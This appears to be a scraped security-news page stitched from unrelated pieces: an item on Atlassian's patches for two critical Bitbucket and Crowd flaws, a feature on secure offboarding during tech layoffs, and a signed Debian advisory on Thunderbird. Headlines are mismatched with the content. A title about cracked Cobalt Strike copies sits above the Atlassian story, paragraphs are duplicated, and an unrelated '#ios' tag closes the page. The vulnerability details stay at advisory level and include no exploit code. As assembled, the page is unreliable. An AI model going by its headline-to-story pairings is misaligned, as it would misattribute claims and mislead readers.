Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Google Identifies 34 Cracked Versions of Popular Cobalt Strike Hacking Toolkit in the Wild

Australian software company Atlassian has rolled out security updates to address two critical flaws affecting Bitbucket Server, Data Center, and Crowd products.
The issues, tracked as CVE-2022-43781 and CVE-2022-43782, are both rated 9 out of 10 on the CVSS vulnerability scoring system.
CVE-2022-43781, which Atlassian said was introduced in version 7.0.0 of Bitbucket Server and Data Center,

Australian software company Atlassian has rolled out security updates to address two critical flaws affecting Bitbucket Server, Data Center, and Crowd products.

The issues, tracked as **CVE-2022-43781** and **CVE-2022-43782**, are both rated 9 out of 10 on the CVSS vulnerability scoring system.

CVE-2022-43781, which Atlassian said was introduced in version 7.0.0 of Bitbucket Server and Data Center, affects versions 7.0 to 7.21 and 8.0 to 8.4 (only if mesh.enabled is set to false in bitbucket.properties).

The weakness has been described as a case of command injection using environment variables in the software, which could allow an adversary with permission to control their username to gain code execution on the affected system.

As a temporary workaround, the company is recommending users turn off the "Public Signup" option (Administration > Authentication).

"Disabling public signup would change the attack vector from an unauthenticated attack to an authenticated one which would reduce the risk of exploitation," it noted in an advisory. "ADMIN or SYS\_ADMIN authenticated users still have the ability to exploit the vulnerability when public signup is disabled."

The second vulnerability, CVE-2022-43782, concerns a misconfiguration in Crowd Server and Data Center that could permit an attacker to invoke privileged API endpoints, but only in scenarios where the bad actor is connecting from an IP address added to the Remote Address configuration.

Introduced in Crowd 3.0.0 and identified during an internal security review, the shortcoming impacts all new installations, meaning users who upgraded from a version prior to Crowd 3.0.0 are not vulnerable.

It's not uncommon for flaws in Atlassian and Bitbucket to be subjected to active exploitation in the wild, making it imperative that users move quickly to apply the patches.

Last month, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned that a command injection flaw in Bitbucket Server and Data Center (CVE-2022-36804, CVSS score: 9.9) was being weaponized in attacks since late September 2022.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Atlassian Releases Patches for Critical Flaws Affecting Crowd and Bitbucket Products

A secure-by-design culture is needed to develop a comprehensive offboarding and identity management strategy that limits potential for broader compromise in case of unauthorized access.

Increased turnover is putting a strain on existing offboarding processes — especially manual ones — for departing employees and contractors. Recent high-profile layoffs at major tech companies have put the spotlight on this issue.

Meanwhile, efforts to limit access to sensitive company information are growing more complex as data access points multiply.

The rise of distributed workforces, cloud computing, work from home, and shadow IT suggest a comprehensive offboarding policy is required, aided by automation.

A recent survey from Oomnitza found, however, that nearly half of IT leaders have doubts about their company's onboarding and offboarding automation capabilities.

The study found a third of enterprises lose more than 10% of their technology assets when offboarding workers, and more than four in 10 (42%) said they experienced unauthorized access to SaaS applications and cloud resources.

**Deploying ETM to Fortify Endpoints and Applications**

Ramin Ettehad, co-founder of Oomnitza, explains that enterprise technology management (ETM) solutions, with built-in integrations, rich analytics, and simplified workflows, allow organizations to define and continuously improve onboarding and offboarding processes.

"They can fortify onboarding user experience by ensuring the right endpoints, accessories, applications, and cloud resources are available at the start so that the new hire can be productive on day one," he says.

These solutions can also enable secure offboarding by ensuring endpoints and their data are secured, software licenses are reclaimed, and access to systems, SaaS, and cloud resources are deprovisioned.

Furthermore, departing workers' email, applications, and workplaces can be reassigned automatically to ensure business continuity.

"All of this is done with true process automation across teams and systems, and is not driven by tickets and requests, which rely on manual workloads and are prone to delays and errors," Ettehad adds.

Cyberhaven CEO Howard Ting explains that most organizations today have a single sign-on product that can turn off an employee's access to all apps with one click and device software that can lock and remotely wipe a laptop.

"While many companies today turn off access as soon as, or even before, they notify employees they're being let go, people can sense what's coming and they preemptively collect customer lists, design files, and source code in anticipation of losing access," he adds.

When an employee voluntarily quits, companies have even fewer tools to prevent data exfiltration because the employee knows they're going to depart before their employer.

While many organizations more closely monitor employees from when they give notice to quit until their last day, a Cyberhaven survey found employees are 83% more likely to take sensitive data in the two weeks before they give notice when they're under less scrutiny.

**Coordinating Offboarding Programs**

Ting says the best employee offboarding programs are coordinated across HR, IT, IT security, and physical security teams working together to protect company data and assets.

The HR team finalizes departures and notifies employees, IT ensures access to apps and company laptops is shut off in a timely manner, the physical security team disables access to company facilities, and the IT security team monitors for unusual behavior.

"These teams perform specific tasks in sequence the day an employee or group of employees is let go," he says.

Ting adds he's also seeing more companies monitor for employees putting company data on personal devices or applications. When offboarding, they make the employee's severance agreement contingent on returning or destroying that company data.

Ettehad adds managing and enabling a remote workforce today requires executives to break down silos and automate key technology business processes.

"They must connect their key systems and orchestrate rules, policies, and workflows across the technology and employee lifecycle with conditional rule-based automation of all tasks across teams and systems," he says.

**The Need for 'Controlled Urgency'**

Tom McAndrew, CEO at Coalfire, calls for "controlled urgency" to tackle the secure offboarding challenge.

"When we look at identity management more broadly, it can often be a complex problem, spanning many applications, internal, external, SaaS, on-prem, and so on," he says. "The identity strategy is the central point. The fewer sources of identity and access control there are to manage, the more automation can support these operations at scale."

He argues that when HR and information security are not operating as a team, it's easy to see platforms spinning to solve point solutions rather than looking at the "what-if" scenarios.

"Every system that is not integrated with a core identity platform becomes one more manual task or another tool that needs to be invested in to solve a problem that could have been avoided with sensible planning," he says.

McAndrew adds that a rogue employee with authorized access to critical, sensitive information is a significant threat.

"When you look at the potential risk from a disgruntled staff member, combined with an HR team struggling to manage a substantial scale of departures, it's easy for mistakes to be made and for frustrated or disaffected staff to take matters into their own hands," he says.

He warns that this can also trigger legal complications, often requiring further professional forensic support, making a poor business decision even more costly.

**Unauthorized Access to SaaS, Cloud Apps a Major Challenge**

Corey O'Connor, director of products at DoControl, a provider of automated SaaS security, points out that unauthorized access to SaaS applications and cloud resources is an identity security problem for both human and machine identities.

"However, preventative controls and detective mechanisms could help mitigate the risk of unauthorized access," he explains.

This means having full visibility and a complete inventory (i.e., users, assets, applications, groups, and domains) will enable security and IT teams to put in place the appropriate preventative controls.

"From there, implementing detective mechanisms that identify high-risk or anomalous activity" is the next step, he says.

Application-to-application connectivity, including machine identity, needs to be secure as well; otherwise the organization increases the risk of supply chain based attacks.

"Machine identities can be over privileged, unsanctioned, and not within the security team's visibility," he says. "When they become compromised, they can provide unauthorized access to sensitive data within the application that it's connected to."

That means both human user and machine identities need preventative controls and detective mechanisms to reduce risk.

**Detecting Exfiltration, Managing Applications**

Davis McCarthy, principal security researcher at Valtix, a provider of cloud-native network security services, says that post-pandemic, many organizations increased their utilization of various cloud and SaaS platforms.

"Because different departments use different applications, and some individuals integrate with interim solutions, IT departments found themselves drowning in the white noise of XaaS, with no standard way of managing it," he says.

While IT admins generally lock down the corporate email account during offboarding, ex-employees may still have access to unknown services that contain sensitive data.

"Putting the idea of an insider threat aside, if one of those unknown services is hacked and needs the password changed, no one may know to take action," he warns.

McCarthy says network defenders need to determine where sensitive data is stored and develop ways to detect exfiltration.

"Deploying an egress filtering solution limits how a threat can exfiltrate data, while also providing the needed visibility to verify it has not occurred," he says. "The impact of stolen data varies from industry to industry, but most data breaches result in monetary fines and loss of customer confidence."

He adds that if IT security teams are bogged down with managing all the SaaS applications an organization uses, having too many of their own tools is also a burden.

"Deploying scalable, multi-cloud management tools that consolidate visibility and policy enforcement reduces their operational overhead," McCarthy says.

Secure Offboarding in the Spotlight as Tech Layoffs Mount

Debian Linux Security Advisory 5284-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5284-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
November 17, 2022                     https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2022-45403 CVE-2022-45404 CVE-2022-45405 CVE-2022-45406  
                 CVE-2022-45408 CVE-2022-45409 CVE-2022-45410 CVE-2022-45411  
                 CVE-2022-45412 CVE-2022-45416 CVE-2022-45418 CVE-2022-45420  
                 CVE-2022-45421

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the stable distribution (bullseye), these problems have been fixed in  
version 1:102.5.0-1~deb11u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmN2hR8ACgkQEMKTtsN8  
TjYgsBAAtlBgOGNYLD7cA+7VDQ5fqbkl/2ncwl5PgrX3+r8d0AF5MIyUkmB4hNar  
i5ACP6ahYkDGRie+7HjgiyTDhCVdM6afZ+xyyTAnkvCU0FLcIBLPy9L7+Kywx7d2  
bGV9dsy3oFHOXf1gcqsIawh2myIFEp4ocNC2V1cKRmWqf9bQjc9mzoc0YXewgsMw  
k8zCPZF8n89RMx3k62xvXiCzMlowJR2SV5d2elwFGViosGZQSKAB+PAI3Ub7GV+G  
nrg8V3w57Co2/LcZBUaoFUAsBBWyHpdXNg2IlEOWBdVzdF0yGVlwsi5nso7BJmeq  
+rZp4SPkNRw3WW1w7ccDa+Op9z9OMMY2BYRVV5R4L6gySVyKpgaa3KMmpUm+zWjt  
CO96AhHWMxJJtoghuHVTgy69u8gYKQ21sRojgrqiUzDLYW8UKC34rhrYMPa0InbO  
sUj8IhaDc2Eh4e8LwcbNsJ/8m3zaKKA/qzTmlxRr76mAXBlvY/zIE7ftBcbufbyG  
0TuGi0g2TUKyRAiSIkHJwp/0RaXlhn2hFItIKiXUbv0+34nI6RF+xLFL7F5WwUG9  
hwAc+LbSdup0dGwk9prBUtNK2IAodoIM5/gm+7lUqWnjJlxobqJtNfMzgrHjA5Ni  
6IL34dlalxaCTZvIO+E8ySjg1B8BipAvegUWcs6K7JBe8XydDWs=V2Rf  
-----END PGP SIGNATURE-----

Tag

#ios